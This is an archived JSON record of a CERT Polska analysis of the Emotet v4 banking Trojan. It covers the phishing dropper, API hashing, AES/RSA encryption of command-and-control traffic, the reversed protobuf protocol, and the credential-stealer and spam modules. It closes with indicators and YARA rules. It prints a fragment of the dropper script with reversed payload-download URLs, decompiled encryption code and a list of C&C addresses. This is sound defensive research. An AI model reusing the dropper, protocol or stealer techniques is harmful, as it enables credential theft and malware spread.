{
	"id": "008ceb27-1656-4f6a-af98-48e54bc70c67",
	"created_at": "2026-04-06T00:10:13.232001Z",
	"updated_at": "2026-04-10T13:12:40.218442Z",
	"deleted_at": null,
	"sha1_hash": "a3354656c7d0b890c513035ed9038765ba702913",
	"title": "Analysis of Emotet v4",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 697161,
	"plain_text": "Analysis of Emotet v4\r\nArchived: 2026-04-05 19:37:21 UTC\r\nIntroduction\r\nEmotet is a modular Trojan horse, which was firstly noticed in June 2014 by Trend Micro. This malware is\r\nrelated to other types like Geodo, Bugat or Dridex, which are attributed by researches to the same family.\r\nEmotet was discovered as an advanced banker – it’s first campaign targeted clients of German and Austrian\r\nbanks. Victims’ bank accounts were infiltrated by a web browser infection which intercept communication\r\nbetween webpage and bank servers. In such scenario, malware hooks specific routines to sniff network\r\nactivity and steal information. This technique is typical for modern banking malware and is widely known as\r\nMan-in-the-Browser attack.\r\nNext, modified release of Emotet banker (v2) has taken advantage of another technique – automation of\r\nstealing money from hijacked bank accounts using ATSs (Automated Transfer Systems, more informations on\r\npage 20 of CERT Polska Report 2013). This technology is also used in other bankers. Good examples are\r\nISFB (Gozi) or Tinba.\r\nAt the beginning of April 2017, we observed wide malspam campaign in Poland, distributing fraudulent\r\nmails. E-mails were imitating delivery notifications from DHL logistics company and contained malicious\r\nlink, which referred to brand-new, unknown variant of Emotet.\r\nMalware distributed in this campaign differed from previously known versions. Behavior and communication\r\nmethods were similar, but malware used different encryption and we noticed significant changes in its code.\r\nThus we called this modification version 4.\r\nDropper\r\nLinks from the phishing campaign pointed to a dropper, which downloaded and executed malware. Dropper\r\nwas written in Javascript and wasn’t highly obfuscated. It was fairly easy to notice, that strings with\r\ndistribution site URLs were just reversed.\r\n$uaU$Fh71K_E6TQAdMPz = function(n) {\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 1 of 10\n\nif (typeof $uaU$Fh71K_E6TQAdMPz.list[n] == \"string\") return\r\n$uaU$Fh71K_E6TQAdMPz.list[n].split(\"\").reverse().join(\"\");\r\nreturn $uaU$Fh71K_E6TQAdMPz.list[n];\r\n};\r\n$uaU$Fh71K_E6TQAdMPz.list = [\r\n\"tamroF eliF detroppuS toN\",\r\n\"llehS.tpircSW\",\r\n\"tcejbOmetsySeliF.gnitpircS\",\r\n\"/1506daolnwod/ku.oc.aidemlaerehte//:ptth\",\r\n\"/7751daolnwod/moc.erawtfoscetni//:ptth\",\r\n\"PTTHLMX.2LMXSM\",\r\n\"/3030daolnwod/moc.yhpargotohpnivrinad//:ptth\",\r\n\"/3946daolnwod/moc.aidemsretsacdnarb//:ptth\",\r\n\"/4769daolnwod/lp.moc.hcetka//:ptth\",\r\n\"maertS.BDODA\",\r\n\".)dedoced yltcerroc t'nsaw dna tnemhcatta liame na sa tnes saw ti ,elpmaxe rof( deriaper eb ton dluoc\r\ndna degamad si elif ehT .tnemucod siht gninepo rorre na saw erehT\" ];\r\n...\r\nDistribution sites found in dropper:\r\nhxxp://etherealmedia.co.uk/download6051/\r\nhxxp://intecsoftware.com/download1577/\r\nhxxp://danirvinphotography.com/download0303/\r\nhxxp://brandcastersmedia.com/download6493/\r\nhxxp://aktech.com.pl/download9674/\r\nMain module\r\nAn interesting thing in Emotet is its modular structure. Main module dropped by script doesn’t contain\r\nanything harmful and is used only to download another modules from C\u0026C, which perform specific tasks.\r\nSample dropped by script is protected using some generic packer to avoid recognition by AV software.\r\nAfter unpacking, malware loads libraries and resolves WinAPI routines used in encryption and\r\ncommunication with C\u0026C. Names of specific functions are obfuscated and stored as array of hashes. Emotet\r\nuses simple sdbm hash function for this purpose. To make hashes more varied, values are additionally XORed\r\nwith some constant specified in binary.\r\nint hashValue = 0;\r\nfor ( char c = *libraryName; *libraryName; c = *(++libraryName) )\r\n{\r\nhashValue = c + 65599 * hashValue;\r\n}\r\nhashValue = xorKey ^ hashValue;\r\nStrings that are distinctive for Emotet are also encoded using 4-byte XOR key, different for each string.\r\nMain executable file contains also a list of IP addresses of C\u0026C servers. Similar to previous versions, sample\r\ncommunicates with Command\u0026Control using plain HTTP.\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 2 of 10\n\nEncryption\r\nThe most significant change in new version is usage of different encryption algorithm. In previous releases,\r\ncommunication was encrypted using RC4. In fourth version, Emotet switched to 128-bit AES in CBC mode.\r\nIntercepted request:\r\nGET / HTTP/1.1\r\nCookie:\r\nDD29=e8fd7YpIy2Ui+U7bz1/cQD9bH4KHshzaN2SpKoPEnC1D85K4Zrwdb6dBoHoDC5GgvcgecLN20kpk1lQxus6AJEiutWK4hBSWFbQUmt\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322)\r\nHost: 206.214.220.79:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\nRequest body is passed in Cookie header. Cookie’s key is random 16-bit hexadecimal number, with Base64-\r\nencoded binary blob as value.\r\nAfter decoding, structure of request is described below:\r\nOffset Field name\r\n0..95 asymmetrically encrypted 128-bit AES key used for request encryption\r\n96..115 SHA1 hash of plaintext request body\r\n116..x Request body, AES-128-CBC encrypted\r\nBefore sending, malware performs key generation. In the first stage, Emotet loads 768-bit RSA public key,\r\nstored in executable. Then, AES symmetric key is generated using cryptographically secure PRNG\r\n(CryptGenKey). Finally, generated key is encrypted using previously loaded public key and attached to the\r\nrequest using PKCS#1v2.0 (OAEP) padding.\r\nCryptography is based on Microsoft CryptoAPI mechanisms.\r\nKey generation and public key import:\r\nif ( fn_CryptAcquireContextW(cryptCtx-\u003ehProv, 0, 0, PROV_RSA_AES, 0xF0000040) )\r\n{\r\nif ( fn_CryptDecodeObjectEx(\r\n65537,\r\nRSA_CSP_PUBLICKEYBLOB,\r\nRSA_ENCODED,\r\nRSA_ENCODED_LEN,\r\nCRYPT_DECODE_ALLOC_FLAG,\r\n0,\r\n\u0026prsaKey,\r\n\u0026prsaKeyLen) )\r\n{\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 3 of 10\n\nv2 = fn_CryptImportKey(cryptCtx-\u003ehProv, prsaKey, prsaKeyLen, 0, 0, \u0026cryptCtx-\u003ehCryptRSA);\r\nLocalFree(prsaKey);\r\nif ( v2 )\r\n{\r\nif ( fn_CryptGenKey(cryptCtx-\u003ehProv, CALG_AES_128, CRYPT_MODE_CBC, \u0026cryptCtx-\r\n\u003ehCryptAES) )\r\n{\r\nif ( fn_CryptCreateHash(cryptCtx-\u003ehProv, CALG_SHA1, 0, 0, \u0026cryptCtx-\u003ehCryptSHA1) )\r\nreturn 1;\r\nfn_CryptDestroyKey(cryptCtx-\u003ehCryptAES);\r\n}\r\nfn_CryptDestroyKey(cryptCtx-\u003ehCryptRSA);\r\n}\r\n}\r\nfn_CryptReleaseContext(cryptCtx-\u003ehProv, 0);\r\n}\r\nRequest encryption:\r\nif ( !fn_CryptDuplicateHash(cryptCtx-\u003ehCryptSHA1, 0, 0, \u0026hHash) )\r\ngoto ERROR;\r\nmemmove(pRequest, req-\u003ebufPtr, req-\u003ebufLen);\r\nif ( fn_CryptEncrypt(cryptCtx-\u003ehCryptAES, hHash, 1, 0, pRequest, \u0026dwRequestLen, dwBufLen) )\r\n{\r\nif ( fn_CryptExportKey(cryptCtx-\u003ehCryptAES, cryptCtx-\u003ehCryptRSA, 1, CRYPT_OAEP, encKey,\r\n\u0026encKeyLen) )\r\n{\r\nmemmove(encReq, encKey, 96)\r\nif ( fn_CryptGetHashParam(hHash, HP_HASHVAL, encReq + 96, \u0026shaLen, 0) )\r\nresult = 1;\r\n}\r\n// ...\r\n}\r\nCommunication with C\u0026C\r\nReceived response is presented below:\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 4 of 10\n\nCommunication protocol is based on Google Protocol Buffers. Protocol Buffers is a mechanism, which allows\r\ndevelopers to simply build own protocols using set of message structure declarations, written in a specific\r\nprotobuf language. Protocol Buffers generates parsing and serializing modules, which can be directly used in\r\ndeveloped solution. Protobuf supports wide set of languages, including Python, Java, PHP or C++. Using this\r\nkind of mechanisms isn’t something new in malware, protobuf-based protocols can be found for example in\r\nGootkit malware.\r\nUnfortunately, Emotet’s case is a bit different. Protobuf code inside malware is slightly modified and\r\nprovides additional type of encoding, which is not specified in the original Protocol Buffers documentation.\r\nBecause of this small difference, response can’t be properly decoded using generic protobuf parsers e.g.\r\nprotoc with –decode_raw argument fails.\r\nAnyway, original protocol definitions were successfully reversed:\r\nsyntax = \"proto2\";\r\nmessage RegistrationRequest {\r\nmessage RegistrationRequestBody {\r\nrequired string botId = 1;\r\nrequired fixed32 osVersion = 2;\r\nrequired string procList = 3;\r\nrequired string mailClient = 4;\r\n}\r\nrequired int32 command = 1 [default = 16];\r\noptional RegistrationRequestBody registrationRequest = 2;\r\n}\r\nRegistration request contains command id (16) and some information about host operating system. Each field\r\nof RegistrationRequestBody structure has been described below:\r\nbotId field\r\nThis field provides information about values specific to victim’s machine and probably is meant to be unique\r\nbetween bot instances.\r\n[host_name]_[locale]_[host_id]\r\ne.g. CERTCERT_PL_32122958\r\nhost_name – contains only chars from 0..9a..zA..Z- charset, another chars are replaced by ‘?’\r\nlocale – contains information about locale settings. In this case, dash ‘-‘ is also forbidden\r\nhost_id – 32-bit hexadecimal value of sdbm hash (used also by API resolver) from current user\r\nlogin xored by Windows drive serial number.\r\nosVersion field\r\n32-bit field, which describes version of Windows running on infected host. It’s a bit field, where each groups\r\nof bits contains specific value of OSVERSIONINFOEX structure.\r\nBits Description\r\n0..3 dwMajorVersion\r\n4..7 dwMinorVersion\r\n8..11 wServicePackMajor\r\n12..15 wServicePackMinor\r\n16..19 wProductType\r\n20..23 SYSTEM_INFO.wProcessorArchitecture\r\nprocList field\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 5 of 10\n\nContains comma-separated list of currently running process names.\r\nmailClient field\r\nProvides information about used mail client (read from “HKLM\\Software\\Clients\\Mail” registry key value). If\r\nit’s Microsoft Outlook and it’s MAPI DLL is 64-bit, name is followed by ” x64″ suffix.\r\nResponse\r\nIf a registration request was received, C\u0026C server returns a list of Emotet modules. HTTP status response is\r\nalways 404 Not Found, regardless of the fact whether request was built properly or not. In this case, response\r\nbody contains encrypted response.\r\nHTTP/1.1 404 Not Found\r\nServer: nginx\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 728740\r\nConnection: keep-alive\r\nalc:*qLud\u0026lt;d^G̾\u0026gt;...\r\nStructure of encrypted response is quite similar to the request structure. Encrypted payload starts at 116-byte\r\nof received message. Response is encrypted using the same AES key, which was passed in request. After\r\nsuccessful decryption, we obtain protobuf-like message with list of MZ binaries or URLs.\r\nmessage Module\r\n{\r\nrequired int32 type = 1;\r\nrequired bytes blob = 2;\r\n}\r\nmessage ModuleResponse {\r\nrepeated Module modules = 1 [packed=true];\r\nrequired uint32 timestamp = 2;\r\n}\r\nIn this case, malware uses non-standard encoding. Field repeated Module modules = 1 [packed=true]; is\r\nillegal in protobuf language, because packed attribute can be used only for primitive numeric type of repeated\r\nfields. Surprisingly, list of modules is encoded like packed list of Message objects.\r\nHere is a low-level C\u0026C response description, using Protocol Buffers encoding primitives:\r\nType Name Comment\r\nModuleResponse\r\nTAG tag 0x0a\r\nVARINT length of ‘modules’ list\r\nModule (repeated)\r\nVARINT length of Module element\r\nTAG ‘type’ field tag 0x08\r\nVARINT type\r\nTAG ‘blob’ field type 0x12\r\nVARINT length of ‘blob’\r\nRAW ‘blob’ content\r\n…\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 6 of 10\n\nIt should be noted that elements of Modules are repeated without Module message tag, which is specific to\r\npacked encoding,\r\ntype field\r\nThis field defines type of blob content and specifies method of module execution. Type field can be one of the\r\nfollowing values:\r\nValue Description\r\n1 Store in %TEMP% and execute with -U argument\r\n2 Like ‘1’, but without arguments\r\n3 Download and execute file from URL specified ‘blob’\r\n4 Use own internal loader – load and execute PE file from ‘blob’\r\n5 Uninstall – delete related ‘.lnk’ from Startup folder\r\ndefault Do nothing\r\nModules\r\nIn previous versions, Emotet modules were providing the following set of functionalities:\r\nStealing money from bank accounts (Man-in-the-Browser attack)\r\nSpreading by sending spam e-mails\r\nStealing mails and credentials to mail accounts\r\nDDoS module\r\nStealing browsing history and passwords from web browser\r\nIn version 4 distributed in the last campaign, we didn’t observe banking module, which is somewhat unusual\r\nfor this type of malware. Behavior of other modules was quite similar to previous versions. During analysis,\r\nwe successfully dropped two types of modules, described below:\r\nCredentials stealer\r\nIn server response, we found two similar modules, which purpose was to steal credentials from web browser\r\nand mail client. Both modules have embedded NirSoft password recovery software inside:\r\nMail PassView (Email Password-Recovery) v1.86\r\nWebBrowserPassView v1.80\r\nRecovery software was embedded as XOR-encoded static blob, using 32-bit key (similar to strings). On\r\nmodule startup, software was decoded and stored in %TEMP%, and then executed with /scomma [temp file\r\nname] parameter, which leads to dump all passwords into file contained in %TEMP% folder (name generated\r\nusing GetTempFileNameW). Stealed data were sent to C\u0026C server for malware spreading purpose.\r\nSpam module\r\nSecond type of module was spam module, used for malware spreading. Firstly, module asks C\u0026C for message\r\ntemplate, list of recipients and list of hijacked accounts, which will be used to spam distribution.\r\nRequest structure presents as below:\r\nmessage SpamRequest {\r\nmessage SpamRequestBody {\r\nrequired string botId = 1;\r\nrequired int32 flags = 2 [default = 3];\r\nrequired string additionalData = 3;\r\n}\r\nrequired int32 command = 1 [default = 18];\r\noptional SpamRequestBody spamRequest = 2;\r\n}\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 7 of 10\n\nFields flags and additionalData specify, which data has been received from server and which we’re expecting\nin C\u0026C answer.\nServer response looks like below:\nmessage EmailAccount {\nrequired int32 id = 1;\nrequired string mail_server = 2;\nrequired int32 port = 3;\nrequired string login = 4;\nrequired string password = 5;\nrequired string email = 6;\n}\nmessage EmailRecipient {\nrequired int32 id=1;\nrequired string to_email=2;\noptional string to_name=3;\nrequired string from_email=4;\nrequired string from_name=5;\n}\nmessage EmailResponse {\nmessage Template {\nrequired string from = 1 ;\nrequired string subject = 2;\nrequired string unk1 = 3;\nrequired string content_type = 4;\nrequired string msg = 5;\nrequired string unk2 = 6;\n}\noptional Template template = 1;\nrepeated EmailAccount accounts = 2 [packed=true];\noptional EmailRecipient recipients = 3 [packed=true];\nrequired uint32 timestamp = 4;\n}\nE-mails are not sent using local account. Distribution is performed using previously scrapped mail accounts,\nwhich are sent to each spambot.\nMessage template example:\nHello \u003c\u003e Thank you for your order. The details can be found below.\nInvoice attached: [http://aceeight.com/Cust-000564- 17424/\u003c\u003e](http://aceeight.com/Cust-000564-17424/) https://www.cert.pl/en/news/single/analysis-of-emotet-v4/\nPage 8 of 10\n\nThis e-mail was sent by \u003c\u003e\n\u003c\u003e Summary\nBasic functionality of Emotet in last campaign was just stealing credentials and spreading. Even though,\nmalware is still active and also actively developed. Because of lack of few important modules, Emotet will be\nprobably extended in future. In case of infection, we recommend changing passwords to all accounts, which\ncredentials were stored in mail client or web browser.\nAdditional informations\nDetailed Kaspersky analysis from 2015 (Emotet v2 and v3)\nAnalysis based on sample: c53956c95100c5c0ba342977f8fc44fcad35aabc24ec44cb12bb83eee1ed34fa\nMD5 of fetched modules (13th April):\n0497c120248c6f00f1ac37513bd572e5\n5b2d58b4104309ee9c93b455d39c7314\n722268bad0d3a2e90aa148d52c60943e\nC\u0026C list\nhxxp://87.106.105.76:443\nhxxp://173.255.229.121:443\nhxxp://178.79.177.141:443\nhxxp://79.170.95.202:7080\nhxxp://206.214.220.79:8080\nhxxp://88.198.50.221:8080\nhxxp://5.39.84.48:8080\nhxxp://188.68.58.8:7080\nhxxp://162.214.11.56:7080\nhxxp://5.196.73.150:8080\nhxxp://203.121.145.40:7080\nhxxp://46.165.212.76:7080\nC\u0026C public key:\n-----BEGIN PUBLIC KEY-----\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAJ16QBv5Csq0eruFy4BvTcXmmIyeqUb3\nvCCc8K/zOYOpL/Ww6FCdUpvPfs+RR/sLBalwtKmT14iRUaNmJdygnAKUIRWR1HNt\n0rQRir0pD4QlkXlnZ9lZazTfyMV8BLCatwIDAQAB\n-----END PUBLIC KEY-----\nYara rules:\nrule emotet4_basic: trojan\n{\nmeta:\nauthor = \"psrok1/mak\"\nmodule = \"emotet\"\nstrings:\n$emotet4_rsa_public = { 8d ?? ?? 5? 8d ?? ?? 5? 6a 00 68 00 80 00 00 ff 35 [4] ff 35 [4] 6a 13 68 01 00 01 00\nff 15 [4] 85 }\n$emotet4_cnc_list = { 39 ?? ?5 [4] 0f 44 ?? (FF | A3)}\ncondition:\nall of them\n}\nrule emotet4: trojan\n{\nmeta:\nauthor = \"psrok1\"\nmodule = \"emotet\"\nstrings:\n$emotet4_x65599 = { 0f b6 ?? 8d ?? ?? 69 ?? 3f 00 01 00 4? 0? ?? 3? ?? 72 }\ncondition:\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\nPage 9 of 10\n\nany of them and emotet4_basic\r\n}\r\nrule emotet4_spam : spambot\r\n{\r\nmeta:\r\nauthor=\"mak\"\r\nmodule=\"emotet\"\r\nstrings:\r\n$login=\"LOGIN\" fullword\r\n$startls=\"STARTTLS\" fullword\r\n$mailfrom=\"MAIL FROM:\"\r\ncondition:\r\nall of them and emotet4_basic\r\n}\r\nSource: https://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nhttps://www.cert.pl/en/news/single/analysis-of-emotet-v4/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.cert.pl/en/news/single/analysis-of-emotet-v4/"
	],
	"report_names": [
		"analysis-of-emotet-v4"
	],
	"threat_actors": [],
	"ts_created_at": 1775434213,
	"ts_updated_at": 1775826760,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a3354656c7d0b890c513035ed9038765ba702913.pdf",
		"text": "https://archive.orkl.eu/a3354656c7d0b890c513035ed9038765ba702913.txt",
		"img": "https://archive.orkl.eu/a3354656c7d0b890c513035ed9038765ba702913.jpg"
	}
}